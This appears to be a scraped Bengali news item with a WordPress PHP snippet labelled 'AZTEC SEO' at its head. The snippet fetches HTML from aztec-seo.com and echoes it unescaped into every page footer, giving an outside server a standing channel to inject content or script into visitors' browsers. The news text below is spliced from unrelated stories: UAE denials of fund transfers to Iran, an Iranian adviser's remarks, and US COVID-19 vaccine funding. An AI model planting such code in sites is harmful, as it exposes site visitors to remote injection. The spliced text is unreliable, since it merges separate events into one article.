/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
এদিকে, শুক্রবার (১২ জুন) ইরানে অর্থ স্থানান্তরের অভিযোগসংক্রান্ত বিভিন্ন প্রতিবেদন প্রত্যাখ্যান করেছে সংযুক্ত আরব আমিরাত। এর মধ্যে ৩ বিলিয়ন ডলার ইরানে পাঠানোর অভিযোগও অন্তর্ভুক্ত ছিল।
আরব আমিরাতের পররাষ্ট্র মন্ত্রণালয় এক বিবৃতিতে জানায়, কিছু আন্তর্জাতিক গণমাধ্যমে প্রকাশিত প্রতিবেদনগুলো আমরা সম্পূর্ণভাবে প্রত্যাখ্যান করছি। সংযুক্ত আরব আমিরাত থেকে ইরানে অর্থ স্থানান্তরের যে অভিযোগ আনা হয়েছে বিশেষ করে ৩ বিলিয়ন মার্কিন ডলার সংক্রান্ত দাবি প্রত্যাখ্যান করছি।
আমিরাতের মন্ত্রণালয় অভিযোগগুলোকে সম্পূর্ণ মিথ্যা ও ভিত্তিহীন বলে আখ্যায়িত করে এবং জোর দিয়ে বলে, ইরানের কোনো জব্দ বা স্থগিত তহবিল ইউএইর মাধ্যমে মুক্ত করা, স্থানান্তর করা বা স্থানান্তরে সহায়তা করা হয়নি।
ফার্স-এর প্রতিবেদন মতে, ইরানের সর্বোচ্চ নেতার জ্যেষ্ঠ উপদেষ্টা মোহসেন রেজায়ি দক্ষিণ-পশ্চিমাঞ্চলীয় শহর দেজফুলে এক স্মরণসভায় বক্তব্য দেওয়ার সময় এ মন্তব্য করেন।
প্রতিবেদন অনুযায়ী, রেজায়ি বলেন, সাম্প্রতিক সংঘাত ইরানের আন্তর্জাতিক অবস্থানকে আরও শক্তিশালী করেছে। তার দাবি, দেশের প্রতিরোধ ও প্রতিরক্ষা সক্ষমতা এমন পর্যায়ে পৌঁছেছে যে এখন জুয়াড়ি ট্রাম্প তেহরানের সঙ্গে আলোচনায় বসতেও ভয় পাচ্ছেন।
তিনি আরও অভিযোগ করেন, মার্কিন নীতিনির্ধারণে ইসরাইলের প্রভাব ক্রমশ বেড়েছে এবং বিভিন্ন লবিং কার্যক্রমের কারণে যুক্তরাষ্ট্র কার্যত ‘জায়নিস্ট শাসনের উপনিবেশে’ পরিণত হয়েছে।
রেজায়ির এ মন্তব্যের আগে ইরানের পররাষ্ট্রমন্ত্রী আব্বাস আরাগচি শুক্রবার (১২ জুন) বলেন, যুক্তরাষ্ট্রের সঙ্গে প্রস্তাবিত সমঝোতা স্মারক স্বাক্ষরিত হলে ইরান-সংক্রান্ত সব সংঘাতের আনুষ্ঠানিক অবসান ঘটবে। এর মধ্যে লেবানন ফ্রন্টও অন্তর্ভুক্ত থাকবে। পাশাপাশি এটি নিষেধাজ্ঞা প্রত্যাহার নিয়ে আলোচনার পথও সুগম করবে।
মার্কিন ওই কর্মকর্তা বলেন, ‘প্রকৃতপক্ষে কবে নাগাদ ভ্যাকসিনের উপাদান উৎপাদন ও প্রস্তুত শুরু হবে, সে সম্পর্কে বলতে গেলে বলা যায়, ৪ থেকে ৬ সপ্তাহ লাগতে পারে। এর মধ্যে ভ্যাকসিন উৎপাদন শুরু হবে। তবে পূর্ণাঙ্গ উৎপাদন প্রক্রিয়া শুরু হবে গ্রীষ্মের শেষে।’
ট্রাম্প প্রশাসনের পক্ষ থেকে উৎপাদন কারখানার সুবিধা বাড়ানো ও কাঁচামাল সংগ্রহে কোম্পানিগুলোকে সাহায্য করা হচ্ছে। প্রশাসন ৪টি কোভিড-১৯ ভ্যাকসিন কর্মসূচিকে অপারেশন র্যাপ স্পিড প্রোগ্রামের আওতায় আর্থিক সাহায্য করেছে। তাদের লক্ষ্য, আগামী বছর নাগাদ ৩০ কোটি ভ্যাকসিন ডোজ তৈরি করা।
কয়েক মিলিয়ন থেকে ১০০ কোটি মার্কিন ডলারের বেশি অর্থ সাহায্য পাওয়া কোম্পানিগুলোর মধ্যে রয়েছে জনসন অ্যান্ড জনসন, মডার্না, অ্যাস্ট্রাজেনেকা ও নোভাভ্যাক্স।
যুক্তরাষ্ট্রের পক্ষ থকে রিজেনেরন ফার্মাসিউটিক্যাল নামের একটি কোম্পানির সঙ্গে কোভিড-১৯ থেরাপি উদ্ভাবনের জন্য ৪৫ কোটি ডলারের চুক্তি করা হয়েছে। কয়েক সপ্তাহের মধ্যে এর পরীক্ষামূলক প্রয়োগের ফল পাওয়া যাবে। শরতের মধ্যে কয়েক লাখ ডোজ পাওয়া যাবে।
ট্রাম্প প্রশাসনের ওই কর্মকর্তা বলেন, দ্রুতগতিতে ভ্যাকসিন তৈরির কাজ এগিয়ে চলছে, যা ইতিহাসে আগে কখনো হয়নি। থেরাপি আরও দ্রুত উদ্ভাবন হচ্ছে। ভবিষ্যতে আরও প্রতিষ্ঠানে ভ্যাকসিন তৈরির জন্য তহবিল জোগাবে মার্কিন প্রশাসন।
যুক্তরাষ্ট্রে ৩০ লাখের বেশি মানুষ করোনাভাইরাসে সংক্রমিত। আর মারা গেছে ১ লাখ ৩০ হাজারের বেশি মানুষ।
]]>